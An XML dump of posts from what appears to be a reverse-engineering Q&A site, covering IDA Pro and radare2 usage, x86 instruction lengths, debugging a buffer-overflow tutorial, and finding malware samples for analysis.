  <row Id="12420" PostTypeId="2" ParentId="12403" CreationDate="2016-04-12T15:30:09.513" Score="0" Body="&lt;p&gt;If you're conducting malware research based on network behavior, why not set up a honeypot to collect samples?  Failing that, there's all kinds of places on the web to find malware samples.  I'll leave that to you.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="15738" LastActivityDate="2016-04-12T15:30:09.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12421" PostTypeId="1" CreationDate="2016-04-12T16:40:22.463" Score="2" ViewCount="481" Body="&lt;p&gt;Does anyone know of a smali re-compiler that will remove uncalled code without obfuscation? I just want to remove unused classes and methods.&lt;/p&gt;&#xA;" OwnerUserId="15740" LastActivityDate="2017-10-05T12:08:47.517" Title="Removing uncalled smali" Tags="|android|compilers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12422" PostTypeId="1" CreationDate="2016-04-12T18:39:21.220" Score="2" ViewCount="178" Body="&lt;p&gt;Could you please list some sites from where I could download viruses/worms/trojans in &lt;strong&gt;.exe&lt;/strong&gt; format. I have read the answers to the other similar questions but couldn't make much use of them. &#xA;I am a novice at dynamic analysis of malware and it's easier for me to analyse the malware samples on my virtual machine if they are in .exe format.&lt;/p&gt;&#xA;" OwnerUserId="15741" LastActivityDate="2016-04-13T04:55:06.977" Title="Collecting malware samples" Tags="|malware|" AnswerCount="0" CommentCount="2" ClosedDate="2016-04-14T15:51:31.597" ContentLicense="CC BY-SA 3.0" />
  <row Id="12423" PostTypeId="1" CreationDate="2016-04-12T18:39:28.093" Score="1" ViewCount="336" Body="&lt;p&gt;I was parsing some modified C++ headers with IDA when I come to some strange behavior. Imagine we have a structure like this (stored in a C header):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct S&#xA;{&#xA;    enum {EN0, EN1};&#xA;&#xA;    int m1;&#xA;} ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I parse it with IDA Pro the created type seems to threat the first unnamed enum as data member inside the structure. I'm thinking - is this correct behavior in the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested this on online C compiler which seems not to count the enumeration inside &lt;code&gt;struct S&lt;/code&gt; as part of its data (&lt;a href=&quot;http://melpon.org/wandbox/permlink/AwbLoM0eUkZ9zfdl&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; - i tested sizeof of &lt;code&gt;S&lt;/code&gt; when there is only enum in it and it gave size of 0). &lt;/p&gt;&#xA;" OwnerUserId="14334" LastActivityDate="2016-04-15T01:37:33.733" Title="Does empty enumeration in C structure creates unnamed field?" Tags="|ida|decompilation|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12425" PostTypeId="2" ParentId="12408" CreationDate="2016-04-12T20:50:10.453" Score="-2" Body="&lt;p&gt;From &lt;a href=&quot;http://file.org/extension/so&quot; rel=&quot;nofollow&quot;&gt;http://file.org/extension/so&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Winrar and Media Player are supposed to be able to open them.  You can also try a universal file opener: &#xA;&lt;a href=&quot;http://file.org/free-download/free-file-viewer&quot; rel=&quot;nofollow&quot;&gt;http://file.org/free-download/free-file-viewer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15745" LastActivityDate="2016-04-12T20:50:10.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12426" PostTypeId="1" CreationDate="2016-04-12T22:55:43.460" Score="4" ViewCount="729" Body="&lt;p&gt;Long story short, I have always had a jailbroken device, I have written and ported multiple tools to iOS, and have a fair knowledge of objective-C, ROP, and Linux exploitation. I have begun to take an interest in jailbreaking and iOS vulnerabilities. I understand the memory aspects and iOS security architecture, but how do I debug a non-jailbroken device? You can run &lt;code&gt;GDB&lt;/code&gt; on a jailbroken device but not normal iOS device. I have read the iOS Hackers Handbook but most of the tools and tricks are outdated now. Also, I know you used to be able to wire a Pod-Gizmo board to get Serial output from an iOS device, is that possible any more? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14595" LastActivityDate="2016-08-02T00:40:55.307" Title="Where to start with iOS debugging?" Tags="|debugging|debuggers|exploit|ios|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12427" PostTypeId="2" ParentId="12421" CreationDate="2016-04-13T02:45:28.920" Score="1" Body="&lt;p&gt;Not smaili, but if you manage to decompile to java, use proguard. &lt;a href=&quot;http://www.surrendercontrol.com/2016/03/using-proguard-to-deobfuscate-code.html&quot; rel=&quot;nofollow&quot;&gt;http://www.surrendercontrol.com/2016/03/using-proguard-to-deobfuscate-code.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2016-04-13T02:45:28.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12432" PostTypeId="1" AcceptedAnswerId="12439" CreationDate="2016-04-13T12:18:19.650" Score="1" ViewCount="4981" Body="&lt;p&gt;I'm looking for a way to get the addresses of all the functions in a DLL in the .text section. Is there a way to do it without using a disassembler and moving through the commands? How does IDA know to identify all the functions, even if their start is not the regular &quot;push ebp, mov ebp esp&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15755" LastEditorUserId="53" LastEditDate="2017-04-28T12:49:19.830" LastActivityDate="2017-04-28T12:49:19.830" Title="How to find all functions in DLL" Tags="|ida|disassembly|pe|functions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12433" PostTypeId="1" AcceptedAnswerId="12454" CreationDate="2016-04-13T12:42:58.773" Score="0" ViewCount="164" Body="&lt;p&gt;Suppose you have code like this (and you don't want to shell out the amount for the HexRays decompiler plugin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_4BEEEF:                             ; CODE XREF: DriverEntry+28j&#xA;                push    50505050h       ; Tag&#xA;                push    1234h           ; NumberOfBytes&#xA;                push    ebx             ; PoolType&#xA;                call    ds:ExAllocatePoolWithTag&#xA;                cmp     eax, ebx&#xA;                jz      short loc_4BEEFF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now for these cases I tend to write IDC scripts that collapse the &lt;code&gt;push&lt;/code&gt;, &lt;code&gt;push&lt;/code&gt;, &lt;code&gt;push&lt;/code&gt;, &lt;code&gt;call&lt;/code&gt; into a single hidden area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since the hidden areas in IDA seem to be based on the address and the first &lt;code&gt;push&lt;/code&gt; is a &quot;named location&quot;, the indication that this is a label gets lost when I &quot;name&quot; my hidden area with descriptive pseudo-code, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; eax := ExAllocatePoolWithTag(ebx, 1234h, 'PPPP')&#xA;                cmp     eax, ebx&#xA;                jz      short loc_4BEEFF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if I can deduce the value of &lt;code&gt;ebx&lt;/code&gt;, as would be possible here, I'd even convert that into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; eax := ExAllocatePoolWithTag(NonpagedPool, 1234h, 'PPPP')&#xA;                cmp     eax, ebx&#xA;                jz      short loc_4BEEFF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there &lt;strong&gt;any&lt;/strong&gt; way, short of starting my hidden area &lt;em&gt;after&lt;/em&gt; the first &lt;code&gt;push&lt;/code&gt;, that would allow me to hide the instructions and replace them with more descriptive pseudo-code, while at the same time &lt;em&gt;retaining&lt;/em&gt; the label/name that coincides with the passing of the (last) argument?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, my goal is to have it something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_4BEEEF:                             ; CODE XREF: DriverEntry+28j&#xA;; eax := ExAllocatePoolWithTag(NonpagedPool, 1234h, 'PPPP')&#xA;                cmp     eax, ebx&#xA;                jz      short loc_4BEEFF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(the comment behind the &lt;code&gt;loc_4BEEEF&lt;/code&gt; label is &lt;em&gt;not&lt;/em&gt; important to me, though)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course allocation is but one of the cases where this applies and where the first pushed (i.e. last) argument ends up at a named location.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2016-04-16T00:48:53.517" Title="Collapsing a range into a hidden area, but excluding a possible label at the start of range" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12434" PostTypeId="1" AcceptedAnswerId="12455" CreationDate="2016-04-13T12:58:02.947" Score="3" ViewCount="6283" Body="&lt;p&gt;Where is it possible to find a list of x86 instructions (and x64 instructions) with the (hex) opcode and the length/size in bytes of the instructions, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0x90&lt;/code&gt; = &lt;code&gt;NOP&lt;/code&gt; = 1 byte&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0xE9&lt;/code&gt; = &lt;code&gt;JMP&lt;/code&gt; = 5 bytes&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x8B&lt;/code&gt; = &lt;code&gt;MOV&lt;/code&gt; = 2 bytes&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x55&lt;/code&gt; = &lt;code&gt;PUSH&lt;/code&gt; = 1 byte&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x6A&lt;/code&gt; = &lt;code&gt;PUSH&lt;/code&gt; = 2 bytes&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x68&lt;/code&gt; = &lt;code&gt;PUSH&lt;/code&gt; = 5 bytes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Unsure if all of them are correct.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using &lt;a href=&quot;http://ref.x86asm.net/coder32.html&quot; rel=&quot;nofollow&quot;&gt;this wonderful list&lt;/a&gt;, to look through instructions and their opcodes, but it doesn't contain the full length/size in bytes of each opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What confuses me a bit more, is how it at the beginning mentions &quot;one-byte opcodes&quot; and &quot;two-byte opcodes&quot;. While the &lt;code&gt;JMP&lt;/code&gt; command would be 5 bytes (1 byte for &lt;code&gt;JMP&lt;/code&gt; command, 4 bytes for jump distance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't specifically need a list per se. Overall I'm just searching for a way to deduce the length of instructions.&lt;/p&gt;&#xA;" OwnerUserId="15742" LastEditorUserId="15742" LastEditDate="2016-04-16T08:13:56.960" LastActivityDate="2016-04-16T08:13:56.960" Title="Determind length of instructions in bytes" Tags="|disassembly|x86|x86-64|machine-code|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12435" PostTypeId="1" AcceptedAnswerId="12437" CreationDate="2016-04-13T15:34:17.857" Score="3" ViewCount="545" Body="&lt;p&gt;I've got a device that measures the heat in my apartment and sends the data to a master every day. It works on 868,95 MHz frequency. I want to be able to read this data. I've got some basic in Arduino, can it be a way?&lt;/p&gt;&#xA;" OwnerUserId="15756" LastActivityDate="2016-04-13T17:01:42.440" Title="Interact with a 868,95 MHz device" Tags="|radio-interception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12436" PostTypeId="2" ParentId="12434" CreationDate="2016-04-13T16:26:43.747" Score="0" Body="&lt;p&gt;Making such a list is impossible (depending on what comes after bytes like 8B it may be much longer than 2 bytes). I recommend you use a disassembly library, as almost all will calculate the length and you can access it from there. There are some bytes with a register / number as the only operand, but even in those cases a prefix can change their behavior.&lt;/p&gt;&#xA;" OwnerUserId="13272" LastActivityDate="2016-04-13T16:26:43.747" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12437" PostTypeId="2" ParentId="12435" CreationDate="2016-04-13T17:01:42.440" Score="3" Body="&lt;p&gt;Googling for &quot;868 MHZ Arduino&quot; yields several results of transmitters/receivers (transceivers) that can be attached to an arduino, including example programs. You could start with buying 1 of those, put it in receive mode, leave it on for 24h and check what it receives, and check if it really receives data only once in 24h, or maybe more often. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, save the data, start experimenting, change the temperature in your apartment, and check how the bytes change, to find out which byte is which.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if your apartment has such a sensor, it's probable the surrounding apartments have the same, and you'll receive their transmissions as well. Probably part of the data that gets transmitted is some kind of sender id; monitoring the time differences between receptions should give you, after a while, an idea which data comes from which sender; check what's common between them to find out what's the ID and what's the actual data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, googling for the model number of your transmitter, together with &quot;technical manual&quot; or similar, might give you some hints about the protocol that's used, which might save you some hassle in decoding everything yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, all of this is vague, but as long as your question doesn't go into any more detail, answers can't either.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-04-13T17:01:42.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12438" PostTypeId="1" AcceptedAnswerId="12441" CreationDate="2016-04-13T17:21:28.600" Score="1" ViewCount="1893" Body="&lt;p&gt;For some reason i can't find any string matching the MessageBox text of a program when searching with &quot;search all reference strings&quot; , why is that?&lt;/p&gt;&#xA;" OwnerUserId="15757" LastActivityDate="2016-04-14T11:55:40.190" Title="Find messagebox string with ollydbg" Tags="|disassembly|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12439" PostTypeId="2" ParentId="12432" CreationDate="2016-04-13T17:31:13.143" Score="5" Body="&lt;p&gt;You can get a list of all &lt;em&gt;exported&lt;/em&gt; functions just by reading the PE headers. But, that won't give you any function names, or expected arguments lists (*), and it won't give you any functions that are internal to the DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the general case, the only thing you can do is start with exported functions, disassemble from there, follow &lt;code&gt;jmp&lt;/code&gt;s, and mark everything that's &lt;code&gt;call&lt;/code&gt;ed as a new function and process it in the same way that you process the exported stuff. This is basically what IDA does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As C0000022L mentioned, this is in no way trivial, especially with C++ methods that are never called directly, but only through vtable pointers, which is why even IDA gets this kind of stuff &lt;em&gt;mostly&lt;/em&gt; right, but not &lt;em&gt;completely&lt;/em&gt; right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ida has another feature though, named FLIRT -  it has a database that has signatures of standard library functions for many different compilers. Which is why it can, often, identify standard library function names. But as far as i know, this is a second pass thing; first IDA identifies functions by being called from somewhere, then tries to assign names to those functions using FLIRT. Of course, this helps with standard library functions ONLY, and building this kind of database certainly needs a lot of work as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) If you're lucky, functions will be exported by name, and if you're very lucky, and the DLL was written in C++, the function name will include the signature. So there are cases when the export list is valuable. But this isn't the generic case, when a function might just be exported by ordinal.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-04-13T17:31:13.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12440" PostTypeId="2" ParentId="12438" CreationDate="2016-04-13T17:37:23.713" Score="0" Body="&lt;p&gt;Probably you can't find the string you are looking for because strings are encrypted in that executable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a common thing, and is done in the attempt to make the life of reverse engineers much harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be a simple encryption like &lt;code&gt;xor&lt;/code&gt;-ing the strings, or some much more complex encryption.&lt;/p&gt;&#xA;" OwnerUserId="15583" LastEditorUserId="245" LastEditDate="2016-04-14T11:55:40.190" LastActivityDate="2016-04-14T11:55:40.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12441" PostTypeId="2" ParentId="12438" CreationDate="2016-04-13T17:37:53.053" Score="5" Body="&lt;p&gt;There are many, many &lt;em&gt;possible&lt;/em&gt; reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the MessageBox text may be combined from several shorter snippets before being used&lt;/li&gt;&#xA;&lt;li&gt;the text may be hidden in the resource part of the executable&lt;/li&gt;&#xA;&lt;li&gt;the text may be loaded from a resource file at runtime, possibly depending on the language of the windows installation&lt;/li&gt;&#xA;&lt;li&gt;the text may be in the executable file in an uncommon format; for example, if the software was written in chinese first, then translated to english, the strings may be in some UTF-16 or even UTF-32 format instead of the more common ASCII/UTF-8/ISO-8859-X formats&lt;/li&gt;&#xA;&lt;li&gt;the application may be a client/server application, where the client retrieves the text from the server, and never stores/produces it itself&lt;/li&gt;&#xA;&lt;li&gt;the text may have been deliberately obfuscated/encrypted in the executable file, to prevent people with ollydbg searching for it&lt;/li&gt;&#xA;&lt;li&gt;and much more that doesn't come to mind right now.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="245" LastEditDate="2016-04-14T11:55:02.110" LastActivityDate="2016-04-14T11:55:02.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12446" PostTypeId="1" AcceptedAnswerId="12451" CreationDate="2016-04-14T22:26:48.877" Score="2" ViewCount="902" Body="&lt;p&gt;I know that, after double clicking on a opcode or register, all the occurance of the  opcode/register in the graph view are highlighted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any easy way to just search for a opcode or register in the current graph view?&lt;/p&gt;&#xA;" OwnerUserId="4758" LastActivityDate="2016-04-15T18:25:09.117" Title="IDA:Search for all the occurrence of certain opcode/register in current graph view" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12447" PostTypeId="2" ParentId="12423" CreationDate="2016-04-15T01:37:33.733" Score="3" Body="&lt;p&gt;It's just a definition of an ENUM there is no declaration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct S&#xA;{&#xA;    enum {EN0, EN1} myEnum;&#xA;&#xA;    int m1;&#xA;} ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we have two ints.&lt;/p&gt;&#xA;" OwnerUserId="15775" LastActivityDate="2016-04-15T01:37:33.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12449" PostTypeId="1" AcceptedAnswerId="12473" CreationDate="2016-04-15T09:30:37.740" Score="10" ViewCount="2418" Body="&lt;p&gt;I remember IDA (Interactive Disassembler) has a really neat feature of function signatures where you don't have to reverse engineer code found inside standard libraries.&lt;br&gt;&#xA;Is there a similar feature for Java byte code, especially for obfuscated code? &lt;/p&gt;&#xA;" OwnerUserId="8594" LastEditorUserId="13506" LastEditDate="2018-11-18T22:12:36.067" LastActivityDate="2018-11-18T22:12:51.087" Title="Java byte code equivalent of IDA function signatures" Tags="|java|byte-code|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="12450" PostTypeId="2" ParentId="12434" CreationDate="2016-04-15T15:46:39.443" Score="5" Body="&lt;p&gt;The definitive list is, unsurprisingly, available in Intel's manuals for these processors. These are free downloads from Intel's website. What you want most, or first, is the opcode map. This is important enough that it's typically, if not always, Appendix A in the Software Developer's Manual, Programmer's Reference Manual or whatever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An opcode map is ordered by the first byte and summarises for you how the instruction continues. For instance, this is where you discover that 0x8B is not just a MOV but specifically a MOV of a word or dword (depending on the operand size attribute) from an effective address to a general register, and that the operand can therefore have a range of formats (whose encoding details are in another appendix) such that the whole instruction is at least 2 bytes but may be as long as 7 bytes (being a mod r/m byte, an optional s-i-b byte, and an optional displacement). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the one-byte and two-byte opcodes - and even longer nowadays - these refer just to the bytes at the instruction's start which are necessary for beginning the instruction, however many bytes may follow for the operands. Originally, there were only one-byte opcodes (unless we count escapes to the coprocessor). As the map filled, 0x0F was selected as introducing two-byte opcodes. For instance, the SMSW instruction always starts 0x0F 0x01, whatever its operands. (There is always also a third byte, which differentiates SMSW from other instructions that begin 0x0F 0x01, but I leave the understanding of this as your exercise when you peruse the manuals.) &lt;/p&gt;&#xA;" OwnerUserId="15779" LastActivityDate="2016-04-15T15:46:39.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12451" PostTypeId="2" ParentId="12446" CreationDate="2016-04-15T18:25:09.117" Score="2" Body="&lt;p&gt;There's a nifty plugin that allows that - &lt;a href=&quot;https://github.com/devttys0/ida/tree/master/plugins/localxrefs&quot; rel=&quot;nofollow&quot;&gt;localxrefs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks up all the references of the currently highlighted identifier in the current function, and prints out a list of those.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2016-04-15T18:25:09.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12452" PostTypeId="1" AcceptedAnswerId="12453" CreationDate="2016-04-15T20:35:10.853" Score="2" ViewCount="681" Body="&lt;p&gt;I'm trying analyze &lt;a href=&quot;http://csapp.cs.cmu.edu/3e/bomb.tar&quot; rel=&quot;nofollow&quot;&gt;study example&lt;/a&gt;. Some article illustrates radar2 work, and there radar2 resolve string by XREF:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00400ee4    be00244000   mov esi, str.Border_relations_with_Canada_have_never_been_better. ; &quot;Border relations with Canada have never been better&quot; @ 0x402400&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But my instance of radar2 prints:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00400ee4    be00244000   mov esi, str.BorderrelationswithCanadahaveneverbeenbetter. ; CODE (CALL) XREF from 0x00401338 (unk)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How I can see this string? Maybe I must specify some settings?&#xA;(P.S. Miscusi my English, if it incorrect)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPD: using &lt;code&gt;strings ./binaryFile | grep someTemplate&lt;/code&gt;, I find string... but radare2 behaviour has higher priority. Therefore this string exists in file.&lt;/p&gt;&#xA;" OwnerUserId="15785" LastEditorUserId="15785" LastEditDate="2016-04-15T20:46:13.610" LastActivityDate="2016-04-15T21:28:25.990" Title="radare2 not resolve XREF" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12453" PostTypeId="2" ParentId="12452" CreationDate="2016-04-15T21:28:25.990" Score="4" Body="&lt;p&gt;This seems like the version of radare that you're using is slightly different from the version that has been used in the example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the 2nd argument to &lt;code&gt;mov esi,&lt;/code&gt; is not the string itself, it's the address of the string in memory. radare detects what looks like a string, generates a &lt;strong&gt;label&lt;/strong&gt; at that address, and uses the label as a synonym for the address in the &lt;code&gt;mov esi&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As labels cannot contain blanks, radare has to handle them in some way. Seems the example version of radare replaces them with underscores, while your version just omits them. But, this is the name of the label, not the real string, and if you display the memory at that location, you should see the real string, including the space characters.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-04-15T21:28:25.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12454" PostTypeId="2" ParentId="12433" CreationDate="2016-04-16T00:48:53.517" Score="3" Body="&lt;p&gt;Yes, you can use &lt;em&gt;manual instructions&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/651.shtml&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/651.shtml&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;SetManualInsn&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Specify instruction represenation manually.&#xA;//      ea   - linear address&#xA;//      insn - a string represenation of the operand&#xA;// IDA will not check the specified instruction, it will simply display&#xA;// it instead of the orginal representation.&#xA;&#xA;void   SetManualInsn   (long ea, string insn);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can test it through the UI via &lt;code&gt;Edit → Other → Manual instruction...&lt;/code&gt; or by pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F2&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would set the manual instruction for address &lt;code&gt;0x4BEEEF&lt;/code&gt; to &lt;code&gt;eax := ExAllocatePoolWithTag(NonpagedPool, 1234h, 'PPPP')&lt;/code&gt;. You could then put the remaining &lt;code&gt;push&lt;/code&gt;es and &lt;code&gt;call&lt;/code&gt; into a hidden area, or alternatively, set manual instructions for those &lt;code&gt;push&lt;/code&gt; and &lt;code&gt;call&lt;/code&gt; instructions with &lt;code&gt;&lt;/code&gt; (blank space) as the manual instruction value.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-04-16T00:48:53.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12455" PostTypeId="2" ParentId="12434" CreationDate="2016-04-16T00:57:17.607" Score="6" Body="&lt;p&gt;Instead of using a list, it would probably be much more efficient for you to use a small and portable length disassembler, such as &lt;a href=&quot;https://github.com/greenbender/lend&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/greenbender/lend&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-04-16T00:57:17.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12456" PostTypeId="1" CreationDate="2016-04-16T11:43:29.840" Score="2" ViewCount="1794" Body="&lt;p&gt;I have a little problem, i have loaded some firmware to IDA and it didn't analyze it correctly so i did located and tagged all the strings manyaly but it didn't helped me to find the references to them in the code.&#xA;How can i search for references to some memory locations (strings) in IDA ?&lt;/p&gt;&#xA;" OwnerUserId="15791" LastActivityDate="2016-04-16T21:20:50.077" Title="Need help with searching for reference for a string in IDA Pro" Tags="|ida|strings|" AnswerCount="1" CommentCount="2" ClosedDate="2016-04-26T17:24:26.620" ContentLicense="CC BY-SA 3.0" />
  <row Id="12457" PostTypeId="1" CreationDate="2016-04-16T13:47:23.640" Score="1" ViewCount="2752" Body="&lt;p&gt;Following a tutorial at &lt;a href=&quot;http://www.fuzzysecurity.com/tutorials/expDev/2.html&quot; rel=&quot;nofollow&quot;&gt;http://www.fuzzysecurity.com/tutorials/expDev/2.html&lt;/a&gt;, regarding buffer overflows. I am able to execute the shellcode successfully. Used 'jmp esp' instead of 'pop esp; retn' as showed in tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is, when I set breakpoint at the overwritten EIP address(I use 'jmp esp' from ntdll.dll) and try to step into(continously pressing F7), I run into access violation at 0x00443B46. If I try to see what is lying at this memory address, immunity can't find anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If after reaching breakpoint, I execute program(by pressing F9), or don't use breakpoints at all, everything works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does get changed by immunity while stepping, which leads to this error? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update(23-Apr-2016) :&lt;/strong&gt; I was just being specific about my steps, since using both instructions I am able to make the program jump to my NOP sled followed by the shellcode. Issue is, when I try to walkthrough the shellcode step by step(using F7), I run into 'access violation when writing to 0x00443B46'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either I use 'jmp esp' or 'pop esp; retn', it does not matter, problem is independent of this, because anyhow, both instruction executes properly and program proceeds further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference is, setting a breakpoint and proceeding step by step leads to this problem, and with no breakpoints, no problems.&lt;/p&gt;&#xA;" OwnerUserId="15702" LastEditorUserId="15702" LastEditDate="2016-04-23T16:58:42.913" LastActivityDate="2017-09-13T10:34:41.240" Title="Access violation error only when stepping after breakpoint in Immunity" Tags="|immunity-debugger|buffer-overflow|breakpoint|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
